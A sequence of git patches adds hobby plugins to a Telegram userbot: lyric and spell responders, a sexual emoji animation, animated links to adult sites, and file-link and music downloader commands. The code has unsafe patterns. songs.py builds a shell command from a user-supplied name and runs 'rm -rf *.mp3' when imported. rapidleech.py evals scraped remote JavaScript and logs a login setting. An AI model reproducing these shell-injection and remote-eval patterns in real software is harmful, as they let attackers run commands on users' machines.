+ await event.edit("🎶 I found a love for me \n Darling just dive right in \n And follow my lead \n Well I found a girl beautiful and sweet \n I never knew you were the someone waiting for me \n 'Cause we were just kids when we fell in love \n Not knowing what it was \n \n I will not give you up this time \n But darling, just kiss me slow, your heart is all I own \n And in your eyes you're holding mine 🎶 \n **-Perfect**")
+
+ if x==10:
+
+ await event.edit("🎶 I was born inside a small town, I lost that state of mind \n Learned to sing inside the Lord's house, but stopped at the age of nine \n I forget when I get awards now the wave I had to ride \n The paving stones I played upon, they kept me on the grind \n So blame it on the pain that blessed me with the life 🎶 \n **-Eraser**")
+
+ if x==11:
+
+ await event.edit("🎶 Say, go through the darkest of days \n Heaven's a heartbreak away \n Never let you go, never let me down \n Oh, it's been a hell of a ride \n Driving the edge of a knife. \n Never let you go, never let me down \n \n Don't you give up, nah-nah-nah \n I won't give up, nah-nah-nah \n Let me love you \n Let me love you 🎶 \n **-Let me Love You**")
+
+ if x==12:
+
+ await event.edit("🎶 I'll stop time for you \n The second you say you'd like me to \n I just wanna give you the loving that you're missing \n Baby, just to wake up with you \n Would be everything I need and this could be so different \n Tell me what you want to do \n \n 'Cause I know I can treat you better \n Than he can \n And any girl like you deserves a gentleman 🎶 **-Treat You Better**")
+
+ if x==13:
+
+ await event.edit("🎶 You're the light, you're the night \n You're the color of my blood \n You're the cure, you're the pain \n You're the only thing I wanna touch \n Never knew that it could mean so much, so much \n You're the fear, I don't care \n 'Cause I've never been so high \n Follow me through the dark \n Let me take you past our satellites \n You can see the world you brought to life, to life \n \n So love me like you do, lo-lo-love me like you do \n Love me like you do, lo-lo-love me like you do 🎶 \n **-Love me Like you Do**")
+
+ if x==14:
+
+ await event.edit("🎶 Spent 24 hours \n I need more hours with you \n You spent the weekend \n Getting even, ooh ooh \n We spent the late nights \n Making things right, between us \n But now it's all good baby \n Roll that Backwood baby \n And play me close \n \n 'Cause girls like you \n Run around with guys like me \n 'Til sundown, when I come through \n I need a girl like you, yeah yeah 🎶 \n **-Girls Like You**")
+
+ if x==15:
+
+ await event.edit("🎶 Oh, angel sent from up above \n You know you make my world light up \n When I was down, when I was hurt \n You came to lift me up \n Life is a drink and love's a drug \n Oh, now I think I must be miles up \n When I was a river dried up \n You came to rain a flood 🎶**-Hymn for the Weekend ** ")
+
+ if x==16:
+
+ await event.edit("🎶 I've known it for a long time \n Daddy wakes up to a drink at nine \n Disappearing all night \n I don’t wanna know where he's been lying \n I know what I wanna do \n Wanna run away, run away with you \n Gonna grab clothes, six in the morning, go 🎶 \n **-Runaway **")
+
+ if x==17:
+
+ await event.edit("🎶 You were the shadow to my light \n Did you feel us \n Another start \n You fade away \n Afraid our aim is out of sight \n Wanna see us \n Alive 🎶 \n **-Faded**")
+
+ if x==18:
+
+ await event.edit("🎶 It's been a long day without you, my friend \n And I'll tell you all about it when I see you again \n We've come a long way from where we began \n Oh I'll tell you all about it when I see you again \n When I see you again 🎶 \n **-See you Again**")
+
+ if x==19:
+
+ await event.edit("🎶 I can swallow a bottle of alcohol and I'll feel like Godzilla \n Better hit the deck like the card dealer \n My whole squad's in here, walking around the party \n A cross between a zombie apocalypse and big Bobby 'The \n Brain' Heenan which is probably the \n Same reason I wrestle with mania 🎶 \n **-Godzilla**")
+
+ if x==20:
+
+ await event.edit("🎶 Yeah, I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more \n I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more (Kio, Kio) 🎶 \n **-Old Town Road**")
+
+ if x==21:
+
+ await event.edit("🎶 Oh-oh, ooh \n You've been runnin' round, runnin' round, runnin' round throwin' that dirt all on my name \n 'Cause you knew that I, knew that I, knew that I'd call you up \n You've been going round, going round, going round every party in L.A. \n 'Cause you knew that I, knew that I, knew that I'd be at one, oh 🎶 \n **-Attention **")
+
+ if x==22:
+
+ await event.edit("🎶 This hit, that ice cold \n Michelle Pfeiffer, that white gold \n This one for them hood girls \n Them good girls straight masterpieces \n Stylin', wilin', livin' it up in the city \n Got Chucks on with Saint Laurent \n Gotta kiss myself, I'm so pretty \n \n I'm too hot (hot damn) \n Called a police and a fireman \n I'm too hot (hot damn) \n Make a dragon wanna retire man \n I'm too hot (hot damn) \n Say my name you know who I am \n I'm too hot (hot damn) \n And my band 'bout that money, break it down 🎶 \n **-Uptown Funk**")
+
+ if x==23:
+
+ await event.edit("🎶 Just a young gun with the quick fuse \n I was uptight, wanna let loose \n I was dreaming of bigger things \n And wanna leave my own life behind \n Not a yes sir, not a follower \n Fit the box, fit the mold \n Have a seat in the foyer, take a number \n I was lightning before the thunder \n \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, thunder 🎶 \n **-Thunder**")
+
+ if x==24:
+
+ await event.edit("🎶 Oh, love \n How I miss you every single day \n When I see you on those streets \n Oh, love \n Tell me there's a river I can swim that will bring you back to me \n 'Cause I don't know how to love someone else \n I don't know how to forget your face \n No, love \n God, I miss you every single day and now you're so far away \n So far away 🎶 \n **-So Far Away**")
+
+ if x==25:
+
+ await event.edit("🎶 And if you feel you're sinking, I will jump right over \n Into cold, cold water for you \n And although time may take us into different places \n I will still be patient with you \n And I hope you know 🎶 \n **-Cold Water**")
+
+ if x==26:
+
+ await event.edit("🎶 When you feel my heat \n Look into my eyes \n It's where my demons hide \n It's where my demons hide \n Don't get too close \n It's dark inside \n It's where my demons hide \n It's where my demons hide 🎶 \n **-Demons**")
+
+ if x==27:
+
+ await event.edit("🎶 Who do you love, do you love now? \n I wanna know the truth (whoa) \n Who do you love, do you love now? \n I know it's someone new \n You ain't gotta make it easy, where you been sleepin'? 🎶 \n **-Who do Love? **")
+
+ if x==28:
+
+ await event.edit("🎶 Your touch is magnetic \n 'Cause I can't forget it \n (There's a power pulling me back to you) \n And baby I'll let it \n 'Cause you're so magnetic I get it \n (When I'm waking up with you, oh) 🎶 \n **-Magnetic**")
+
+ if x==29:
+
+ await event.edit("🎶 Girl my body don't lie, I'm outta my mind \n Let it rain over me, I'm rising so high \n Out of my mind, so let it rain over me \n \n Ay ay ay, ay ay ay let it rain over me \n Ay ay ay, ay ay ay let it rain over me 🎶 \n **-Rain over Me**")
+
+ if x==30:
+
+ await event.edit("🎶 I miss the taste of a sweeter life \n I miss the conversation \n I'm searching for a song tonight \n I'm changing all of the stations \n I like to think that we had it all \n We drew a map to a better place \n But on that road I took a fall \n Oh baby why did you run away? \n \n I was there for you \n In your darkest times \n I was there for you \n In your darkest night 🎶 \n **-Maps**")
+
+ if x==31:
+
+ await event.edit("🎶 I wish—I wish that I was bulletproof, bulletproof \n I wish—I wish that I was bulletproof, bulletproof \n (Bullet-bulletproof, bullet-bullet-bulletproof) \n I'm trippin' on my words and my patience \n Writing every verse in a cadence \n To tell you how I feel, how I feel, how I feel (Yeah) \n This is how I deal, how I deal, how I deal (Yeah) \n With who I once was, now an acquaintance \n Think my confidence (My confidence) is in the basement \n Tryin' to keep it real, keep it real, keep it real (Yeah) \n 'Cause I'm not made of steel, made of steel 🎶 \n **-Bulletproof**")
+
+ if x==32:
+
+ await event.edit("🎶 You won't find him down on Sunset \n Or at a party in the hills \n At the bottom of the bottle \n Or when you're tripping on some pills \n When they sold you the dream you were just 16 \n Packed a bag and ran away \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA 🎶 \n **-Jesus in LA**")
+
+ if x==33:
+
+ await event.edit("Not in a mood to sing. Sorry!")
From f644ccd001f85c7348798617ebab99ce40372401 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:25:02 +0530
Subject: [PATCH 038/838] Create harrypotter.py
---
fridaybot/modules/harrypotter.py | 101 +++++++++++++++++++++++++++++++
1 file changed, 101 insertions(+)
create mode 100644 fridaybot/modules/harrypotter.py
diff --git a/fridaybot/modules/harrypotter.py b/fridaybot/modules/harrypotter.py
new file mode 100644
index 00000000..21709517
--- /dev/null
+++ b/fridaybot/modules/harrypotter.py
@@ -0,0 +1,101 @@
+"""
+Pulls Up A Random Chant From Harry Potter Series...
+Syntax: .hp
+ orginal author : AlenPaulVarghese(@STARKTM1)
+ custom editing : @pureindialover
+"""
+from telethon import events
+import asyncio
+import os
+import sys
+import random
+
+
+
+@borg.on(events.NewMessage(pattern=r"\.hp", outgoing=True))
+async def _(event):
+ if event.fwd_from:
+ return
+ x=(random.randrange(1,40))
+ if (x==1):
+ await event.edit("**Aberto**")
+ if (x==2):
+ await event.edit("**Accio**")
+ if (x==3):
+ await event.edit("**Aguamenti**")
+ if (x==4):
+ await event.edit("**Alohomora**")
+ if (x==5):
+ await event.edit("**Avada Kedavra**")
+ if (x==6):
+ await event.edit("**Colloportus**")
+ if (x==7):
+ await event.edit("**Confringo**")
+ if (x==8):
+ await event.edit("**Confundo**")
+ if (x==9):
+ await event.edit("**Crucio**")
+ if (x==10):
+ await event.edit("**Descendo**")
+ if (x==11):
+ await event.edit("**Diffindo**")
+ if (x==12):
+ await event.edit("**Engorgio**")
+ if (x==13):
+ await event.edit("**Episkey**")
+ if (x==14):
+ await event.edit("**Evanesco**")
+ if (x==15):
+ await event.edit("**Expecto Patronum**")
+ if (x==16):
+ await event.edit("**Expelliarmus**")
+ if (x==17):
+ await event.edit("**Finestra**")
+ if (x==18):
+ await event.edit("**Homenum Revelio**")
+ if (x==19):
+ await event.edit("**Impedimenta**")
+ if (x==20):
+ await event.edit("**Imperio**")
+ if (x==21):
+ await event.edit("**Impervius**")
+ if (x==22):
+ await event.edit("**Incendio**")
+ if (x==23):
+ await event.edit("**Levicorpus**")
+ if (x==24):
+ await event.edit("**Lumos**")
+ if (x==25):
+ await event.edit("**Muffliato**")
+ if (x==26):
+ await event.edit("**Obliviate**")
+ if (x==27):
+ await event.edit("**Petrificus Totalus**")
+ if (x==28):
+ await event.edit("**Priori Incantato**")
+ if (x==29):
+ await event.edit("**Protego**")
+ if (x==30):
+ await event.edit("**Reducto**")
+ if (x==31):
+ await event.edit("**Rennervate**")
+ if (x==32):
+ await event.edit("**Revelio**")
+ if (x==33):
+ await event.edit("**Rictusempra**")
+ if (x==34):
+ await event.edit("**Riddikulus**")
+ if (x==35):
+ await event.edit("**Scourgify**")
+ if (x==36):
+ await event.edit("**Sectumsempra**")
+ if (x==37):
+ await event.edit("**Silencio**")
+ if (x==37):
+ await event.edit("**Stupefy**")
+ if (x==38):
+ await event.edit("**Tergeo**")
+ if (x==39):
+ await event.edit("**Wingardium Leviosa**")
+
+
From adedd21b252435548522f6c2d0429b4a9936ec07 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:26:42 +0530
Subject: [PATCH 039/838] Create lovestory.py
---
fridaybot/modules/lovestory.py | 51 ++++++++++++++++++++++++++++++++++
1 file changed, 51 insertions(+)
create mode 100644 fridaybot/modules/lovestory.py
diff --git a/fridaybot/modules/lovestory.py b/fridaybot/modules/lovestory.py
new file mode 100644
index 00000000..ad3e4095
--- /dev/null
+++ b/fridaybot/modules/lovestory.py
@@ -0,0 +1,51 @@
+"""COMMAND : .lovestory"""
+
+from telethon import events
+
+import asyncio
+
+from ..utils import admin_cmd
+
+
+
+@borg.on(admin_cmd(pattern="lovestory"))
+
+async def _(event):
+
+ if event.fwd_from:
+
+ return
+
+ animation_interval = 3
+
+ animation_ttl = range(0, 103)
+
+ #input_str = event.pattern_match.group(1)
+
+ #if input_str == "lovestory":
+
+ await event.edit("Starting asf")
+
+ animation_chars = [
+
+ "1 ❤️ love story",
+ " 😐 😕 \n/👕\ <👗\ \n 👖 /|",
+ " 😉 😳 \n/👕\ /👗\ \n 👖 /|",
+ " 😚 😒 \n/👕\ <👗> \n 👖 /|",
+ " 😍 ☺️ \n/👕\ /👗\ \n 👖 /|",
+ " 😍 😍 \n/👕\ /👗\ \n 👖 /|",
+ " 😘 😊 \n /👕\/👗\ \n 👖 /|",
+ " 😳 😁 \n /|\ /👙\ \n / / |",
+ "😈 /😰\ \n<|\ 👙 \n /🍆 / |",
+ "😅 \n/(),✊😮 \n /\ _/\\/|",
+ "😎 \n/\\_,__😫 \n // // \\",
+ "😖 \n/\\_,💦_😋 \n // // \\",
+ " 😭 ☺️ \n /|\ /(👶)\ \n /!\ / \ ",
+ "Abee aur kitna dekhoge be besharmi ki bhi hadd hoti hai..,The End 😂..."
+ ]
+
+ for i in animation_ttl:
+
+ await asyncio.sleep(animation_interval)
+
+ await event.edit(animation_chars[i % 103])
From 1a512e0c11ac29c864193d1516e8738da277b230 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:28:39 +0530
Subject: [PATCH 040/838] Create rapidleech.py
---
fridaybot/modules/rapidleech.py | 162 ++++++++++++++++++++++++++++++++
1 file changed, 162 insertions(+)
create mode 100644 fridaybot/modules/rapidleech.py
diff --git a/fridaybot/modules/rapidleech.py b/fridaybot/modules/rapidleech.py
new file mode 100644
index 00000000..30311bd5
--- /dev/null
+++ b/fridaybot/modules/rapidleech.py
@@ -0,0 +1,162 @@
+# Copyleft 🄯 2017 UniBorg
+#
+# The below code might feel like copied, but
+# https://t.me/MemeVideoBot?start=1333
+#
+# Licensed under the General Public License, Version 3 (the "License");
+# you may use this file in compliance with the License.
+#
+
+"""RapidLeech plugin: Inspired by @SjProjects"""
+
+import aiohttp
+import asyncio
+import json
+import re
+from bs4 import BeautifulSoup
+from telethon.utils import get_inner_text
+from ..utils import admin_cmd
+
+
+logger.info(Config.OPEN_LOAD_LOGIN)
+# https://t.me/RoseSupport/33801
+
+
+@borg.on(admin_cmd(pattern="rl"))
+async def _(event):
+ if event.fwd_from:
+ return
+ current_message_text = event.raw_text
+ cmt = current_message_text.split(" ")
+ reply_message = await event.get_reply_message()
+ if len(cmt) > 1:
+ list_of_urls = cmt[1:]
+ else:
+ list_of_urls = get_inner_text(
+ reply_message.message, reply_message.entities)
+ converted_links = ""
+ if len(list_of_urls) > 0:
+ converted_links += "Trying to generate IP specific link\n"
+ for a_url in list_of_urls:
+ converted_link_infos = await get_direct_ip_specific_link(a_url)
+ if "url" in converted_link_infos:
+ converted_link = converted_link_infos["url"]
+ converted_links += f"[{a_url}]({converted_link}) \n\n"
+ elif "err" in converted_link_infos:
+ err = converted_link_infos["err"]
+ converted_links += f"`{a_url}` returned `{err}`\n\n"
+ await event.reply(converted_links)
+
+
+async def get_direct_ip_specific_link(link: str):
+ # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255
+ OPEN_LOAD_DOMAINS = r"(?:openload\.(?:co|io|link|pw)|oload\.(?:tv|biz|stream|site|xyz|win|download|cloud|cc|icu|fun|club|info|press|pw|life|live|space|services|website)|oladblock\.(?:services|xyz|me)|openloed\.co)"
+ OPEN_LOAD_VALID_URL = r"(?x)https?://(?P(?:www\.)?%s)/(?:f|embed)/(?P[a-zA-Z0-9-_]+)" % OPEN_LOAD_DOMAINS
+ # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/openload.py#L246-L255
+ # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/googledrive.py#L16-L27
+ GOOGLE_DRIVE_VALID_URLS = r"(?x)https?://(?:(?:docs|drive)\.google\.com/(?:(?:uc|open)\?.*?id=|file/d/)|video\.google\.com/get_player\?.*?docid=)(?P[a-zA-Z0-9_-]{28,})"
+ # https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/googledrive.py#L16-L27
+ dl_url = None
+ if "zippyshare.com" in link:
+ async with aiohttp.ClientSession() as session:
+ http_response = await session.get(link)
+ http_response_text = await http_response.text()
+ response_b_soup = BeautifulSoup(http_response_text, "html.parser")
+ scripts = response_b_soup.find_all(
+ "script", {"type": "text/javascript"})
+ # calculations
+ # check https://github.com/LameLemon/ziggy/blob/master/ziggy.py
+ for script in scripts:
+ if "getElementById('dlbutton')" in script.text:
+ regex_search_exp = re.search(
+ '= (?P\".+\" \+ (?P\(.+\)) .+);', script.text)
+ url_raw = regex_search_exp.group("url")
+ math = regex_search_exp.group("math")
+ dl_url = url_raw.replace(math, '"' + str(eval(math)) + '"')
+ break
+ #
+ base_url = re.search("http.+.com", link).group()
+ dl_url = {
+ "url": base_url + eval(dl_url)
+ }
+ elif re.search(OPEN_LOAD_VALID_URL, link):
+ # https://stackoverflow.com/a/47726003/4723940
+ async with aiohttp.ClientSession() as session:
+ openload_id = re.search(OPEN_LOAD_VALID_URL, link).group("id")
+ step_one_url = "https://api.openload.co/1/file/dlticket?file={}&login={}&key={}".format(
+ openload_id, Config.OPEN_LOAD_LOGIN, Config.OPEN_LOAD_KEY)
+ http_response = await session.get(step_one_url)
+ http_response_text = await http_response.text()
+ http_response_json = json.loads(http_response_text)
+ logger.info(http_response_json)
+ if http_response_json["msg"] == "OK":
+ # wait till wait time
+ await asyncio.sleep(int(http_response_json["result"]["wait_time"]))
+ # TODO: check if captcha is required
+ step_two_url = "https://api.openload.co/1/file/dl?file={}&ticket={}".format(
+ openload_id, http_response_json["result"]["ticket"])
+ http_response = await session.get(step_two_url)
+ http_response_text = await http_response.text()
+ http_response_json = json.loads(http_response_text)
+ logger.info(http_response_json)
+ if http_response_json["msg"] == "OK":
+ dl_file_url = http_response_json["result"]["url"]
+ dl_file_name = http_response_json["result"]["name"]
+ dl_file_size = http_response_json["result"]["size"]
+ dl_url = {
+ "url": dl_file_url,
+ "name": dl_file_name,
+ "size": dl_file_size
+ }
+ else:
+ dl_url = {
+ "err": http_response_text
+ }
+ else:
+ dl_url = {
+ "err": http_response_text
+ }
+ # https://stackoverflow.com/a/47726003/4723940
+ elif re.search(GOOGLE_DRIVE_VALID_URLS, link):
+ file_id = re.search(GOOGLE_DRIVE_VALID_URLS, link).group("id")
+ async with aiohttp.ClientSession(cookie_jar=aiohttp.CookieJar()) as session:
+ step_zero_url = "https://drive.google.com/uc?export=download&id={}".format(file_id)
+ http_response = await session.get(step_zero_url, allow_redirects=False)
+ if "location" in http_response.headers:
+ # in case of small file size, Google downloads directly
+ file_url = http_response.headers["location"]
+ if "accounts.google.com" in file_url:
+ dl_url = {
+ "err": "Private Google Drive URL"
+ }
+ else:
+ dl_url = {
+ "url": file_url
+ }
+ else:
+ # in case of download warning page
+ http_response_text = await http_response.text()
+ response_b_soup = BeautifulSoup(http_response_text, "html.parser")
+ warning_page_url = "https://drive.google.com" + response_b_soup.find("a", {"id": "uc-download-link"}).get("href")
+ file_name_and_size = response_b_soup.find("span", {"class": "uc-name-size"}).text
+ http_response_two = await session.get(warning_page_url, allow_redirects=False)
+ if "location" in http_response_two.headers:
+ file_url = http_response_two.headers["location"]
+ if "accounts.google.com" in file_url:
+ dl_url = {
+ "err": "Private Google Drive URL"
+ }
+ else:
+ dl_url = {
+ "url": file_url,
+ "name": file_name_and_size
+ }
+ else:
+ dl_url = {
+ "err": "Unsupported Google Drive URL"
+ }
+ else:
+ dl_url = {
+ "err": "Unsupported URL"
+ }
+ return dl_url
From 09d951990848fc9506f5723d35212eae94f01b2d Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:29:35 +0530
Subject: [PATCH 041/838] Update requirements.txt
---
requirements.txt | 2 ++
1 file changed, 2 insertions(+)
diff --git a/requirements.txt b/requirements.txt
index 143d7604..3b8eace4 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -69,3 +69,5 @@ langdetect
aria2p
fontTools
PyDictionary
+beautifulsoup4
+bs4
From 9258dad919ef3b0bee21f8439798ef7ba1912879 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:31:20 +0530
Subject: [PATCH 042/838] Create porn.py
---
fridaybot/modules/porn.py | 141 ++++++++++++++++++++++++++++++++++++++
1 file changed, 141 insertions(+)
create mode 100644 fridaybot/modules/porn.py
diff --git a/fridaybot/modules/porn.py b/fridaybot/modules/porn.py
new file mode 100644
index 00000000..d8530507
--- /dev/null
+++ b/fridaybot/modules/porn.py
@@ -0,0 +1,141 @@
+# unban pornsites here
+#
+# lol jee lo apni zindagi
+#
+# HeHe created by @danish_00
+#
+#😂😂😂
+
+from telethon import events
+
+import asyncio
+
+from ..utils import admin_cmd
+
+
+
+@borg.on(admin_cmd(pattern="porn"))
+
+async def _(event):# @danish_00 original
+
+ if event.fwd_from:
+
+ return
+
+ animation_interval = 0.2
+
+ animation_ttl = range(0, 8)
+
+ await event.edit("`Connecting...`")
+
+ animation_chars = [# @danish_00 original
+
+ "P_",
+
+ "PO_",
+
+ "POR_",
+
+ "PORN_",
+
+ "PORNH_",
+
+ "PORNHU_",
+
+ "PORNHUB_",
+
+ "[PORNHUB](www.porn93.cc)👄👅💦💦"# @danish_00 original
+
+ ]
+
+ for i in animation_ttl:
+
+ await asyncio.sleep(animation_interval)
+
+ await event.edit(animation_chars[i % 8])
+
+
+@borg.on(admin_cmd(pattern=r"xvideos"))
+
+async def _(event):
+
+ if event.fwd_from: # @danish_00 original
+
+ return
+
+ animation_interval = 0.2
+
+ animation_ttl = range(0, 7)
+
+ await event.edit("`Connecting...`")
+
+ animation_chars = [
+
+ "X_",
+
+ "XV_",
+
+ "XVI_",
+
+ "XVID_",
+
+ "XVIDE_",
+
+ "XVIDEO_",
+
+ "[XVIDEOS](www.xvideos4.com)🖕👄💦💦"
+
+ ]# @danish_00 original
+
+ for i in animation_ttl:
+
+ await asyncio.sleep(animation_interval)
+
+ await event.edit(animation_chars[i % 7])
+
+
+
+
+from telethon import events
+
+import asyncio
+
+
+
+
+
+@borg.on(admin_cmd(pattern=r"xnxx"))# @danish_00 original
+
+async def _(event):
+
+ if event.fwd_from:
+
+ return
+
+ animation_interval = 0.2
+
+ animation_ttl = range(0, 5)
+
+ await event.edit("`Connecting...`")# @danish_00 original
+
+ animation_chars = [
+
+ "X_",
+
+ "XN_",
+
+ "XNX_",
+
+ "XNXX_",
+
+ "[XNXX](www.xnxx.wapca.cc)👉🏻👌💦👄💦"
+
+
+
+ ]
+# @danish_00 original
+ for i in animation_ttl:
+
+ await asyncio.sleep(animation_interval)
+
+ await event.edit(animation_chars[i % 5])
From cbcc1054ab94a097a00032d4d5a2ff2246a5af54 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:34:28 +0530
Subject: [PATCH 043/838] Create utube
---
fridaybot/modules/utube | 145 ++++++++++++++++++++++++++++++++++++++++
1 file changed, 145 insertions(+)
create mode 100644 fridaybot/modules/utube
diff --git a/fridaybot/modules/utube b/fridaybot/modules/utube
new file mode 100644
index 00000000..3cd51a25
--- /dev/null
+++ b/fridaybot/modules/utube
@@ -0,0 +1,145 @@
+# Plugin made by @hellboi_atul for DARK COBRA..
+# You can use this..but don't edit/remove these comment lines..
+# This module fetches the link from YouTube for the given query..
+# merged .uta
+# So wahi...Enjoy
+
+
+import re
+import random
+from fridaybot import bot, CMD_HELP
+import asyncio
+import os
+from pathlib import Path
+from telethon.errors.rpcerrorlist import YouBlockedUserError
+from ..utils import admin_cmd, edit_or_reply
+
+
+IF_EMOJI = re.compile(
+ "["
+ "\U0001F1E0-\U0001F1FF" # flags (iOS)
+ "\U0001F300-\U0001F5FF" # symbols & pictographs
+ "\U0001F600-\U0001F64F" # emoticons
+ "\U0001F680-\U0001F6FF" # transport & map symbols
+ "\U0001F700-\U0001F77F" # alchemical symbols
+ "\U0001F780-\U0001F7FF" # Geometric Shapes Extended
+ "\U0001F800-\U0001F8FF" # Supplemental Arrows-C
+ "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs
+ "\U0001FA00-\U0001FA6F" # Chess Symbols
+ "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A
+ "\U00002702-\U000027B0" # Dingbats
+ "]+")
+
+def deEmojify(inputString: str) -> str:
+ """Remove emojis and other non-safe characters from string"""
+ return re.sub(IF_EMOJI, '', inputString)
+
+
+@borg.on(admin_cmd(pattern="utv ?(.*)"))
+
+async def nope(doit):
+ ok = doit.pattern_match.group(1)
+ if not ok:
+ if doit.is_reply:
+ what = (await doit.get_reply_message()).message
+ else:
+ await doit.edit("`Please give some query to search..!`")
+ return
+ sticcers = await bot.inline_query(
+ "vid", f"{(deEmojify(ok))}")
+ await sticcers[0].click(doit.chat_id,
+ reply_to=doit.reply_to_msg_id,
+ silent=True if doit.is_reply else False,
+ hide_via=True)
+ await doit.delete()
+
+
+
+
+
+
+# Social Distancing..
+
+
+
+
+
+
+
+@borg.on(admin_cmd(pattern="uta ?(.*)"))
+
+async def nope(doit):
+ ok = doit.pattern_match.group(1)
+ if not ok:
+ if doit.is_reply:
+ what = (await doit.get_reply_message()).message
+ else:
+ await doit.edit("`Sir please give some query to search and download it for you..!`")
+ return
+ sticcers = await bot.inline_query(
+ "Lybot", f"{(deEmojify(ok))}")
+ await sticcers[0].click(doit.chat_id,
+ reply_to=doit.reply_to_msg_id,
+ silent=True if doit.is_reply else False,
+ hide_via=True)
+ await doit.delete()
+
+
+
+SEARCH_STRING = "Ok weit, searching...."
+NOT_FOUND_STRING = "Sorry !I am unable to find any results to your query"
+SENDING_STRING = "Ok I found something related to that....."
+BOT_BLOCKED_STRING = "Please unblock @utubebot and try again"
+
+@bot.on(admin_cmd(pattern="ut ?(.*)"))
+async def fetcher(event):
+ if event.fwd_from:
+ return
+ song = event.pattern_match.group(1)
+ chat = "@utubebot"
+ event = await edit_or_reply(event, SEARCH_STRING, parse_mode="html")
+ async with event.client.conversation(chat) as conv:
+ try:
+ purgeflag = await conv.send_message("/start")
+ await conv.get_response()
+ await conv.send_message(song)
+ ok = await conv.get_response()
+ while ok.edit_hide != True:
+ await asyncio.sleep(0.1)
+ ok = await event.client.get_messages(chat, ids=ok.id)
+ baka = await event.client.get_messages(chat)
+ if baka[0].message.startswith(
+ ("Sorry I found nothing..")
+ ):
+ await delete_messages(event, chat, purgeflag)
+ return await edit_delete(
+ event, NOT_FOUND_STRING, parse_mode="html", time=5
+ )
+ await event.edit(SENDING_STRING, parse_mode="html")
+ await baka[0].click(0)
+ music = await conv.get_response()
+ await event.client.send_read_acknowledge(conv.chat_id)
+ except YouBlockedUserError:
+ await event.edit(BOT_BLOCKED_STRING, parse_mode="html")
+ return
+ await event.client.send_file(
+ event.chat_id,
+ music,
+ caption=f"==> {song} ",
+ parse_mode="html",
+ )
+ await event.delete()
+ await delete_messages(event, chat, purgeflag)
+
+
+CMD_HELP.update(
+ {
+ "utube": "__**PLUGIN NAME :** All YouTube__\
+ \n\n📌** CMD ★** `.uta (song name)`\
+ \n**USAGE ★ **Send sudio song via Lybot\
+ \n\n📌** CMD ★** `.utv (song name)`\
+ \n**USAGE ★ **Send video song via vidbot \
+ \n\n📌** CMD ★** `.ut (utube video link)`\
+ \n**USAGE ★ **not fixed yet, we'll try to fix later 😅😅"
+ }
+)
From 15f019dde8951d819a68c8b5d122896068a895f9 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Wed, 23 Dec 2020 13:35:55 +0530
Subject: [PATCH 044/838] Create songs.py
---
fridaybot/modules/songs.py | 189 +++++++++++++++++++++++++++++++++++++
1 file changed, 189 insertions(+)
create mode 100644 fridaybot/modules/songs.py
diff --git a/fridaybot/modules/songs.py b/fridaybot/modules/songs.py
new file mode 100644
index 00000000..9cacf009
--- /dev/null
+++ b/fridaybot/modules/songs.py
@@ -0,0 +1,189 @@
+# plugin made by @hellboi_atul bug fixes by @Mrconfused
+# Copyright (C) DARK COBRA 2020.
+# if you change these lines you are gay...bc fuck off!
+# leechers stay away😑...if you use this code without credit...u gay bitch fuck off...!
+
+
+
+import re
+import random
+from fridaybot import bot, CMD_HELP
+from telethon.errors.rpcerrorlist import YouBlockedUserError
+from ..utils import admin_cmd
+import asyncio
+from telethon.tl.functions.messages import ImportChatInviteRequest
+from telethon.errors.rpcerrorlist import UserAlreadyParticipantError
+from telethon.tl.types import InputMessagesFilterMusic
+import os
+try:
+ import subprocess
+except:
+ os.system("pip install instantmusic")
+
+
+
+os.system("rm -rf *.mp3")
+
+
+def bruh(name):
+
+ os.system("instantmusic -q -s "+name)
+
+
+#@register(outgoing=True, pattern="^.netease(?: |$)(.*)")
+@borg.on(admin_cmd("songs ?(.*)"))
+async def WooMai(netase):
+ if netase.fwd_from:
+ return
+ song = netase.pattern_match.group(1)
+ chat = "@WooMaiBot"
+ link = f"/netease {song}"
+ await netase.edit("```Getting Your Music```")
+ async with bot.conversation(chat) as conv:
+ await asyncio.sleep(2)
+ await netase.edit("`Downloading...Please wait`")
+ try:
+ msg = await conv.send_message(link)
+ response = await conv.get_response()
+ respond = await conv.get_response()
+ """ - don't spam notif - """
+ await bot.send_read_acknowledge(conv.chat_id)
+ except YouBlockedUserError:
+ await netase.edit("```Please unblock @WooMaiBot and try again```")
+ return
+ await netase.edit("`Sending Your Music...weit!😎`")
+ await asyncio.sleep(3)
+ await bot.send_file(netase.chat_id, respond)
+ await netase.client.delete_messages(conv.chat_id,
+ [msg.id, response.id, respond.id])
+ await netase.delete()
+
+@borg.on(admin_cmd("song ?(.*)"))
+async def _(event):
+ try:
+ await event.client(ImportChatInviteRequest('DdR2SUvJPBouSW4QlbJU4g'))
+ except UserAlreadyParticipantError:
+ pass
+ except:
+ await event.reply("You need to join [this](https://t.me/joinchat/DdR2SUvJPBouSW4QlbJU4g) group for this module to work.", link_preview=False)
+ return
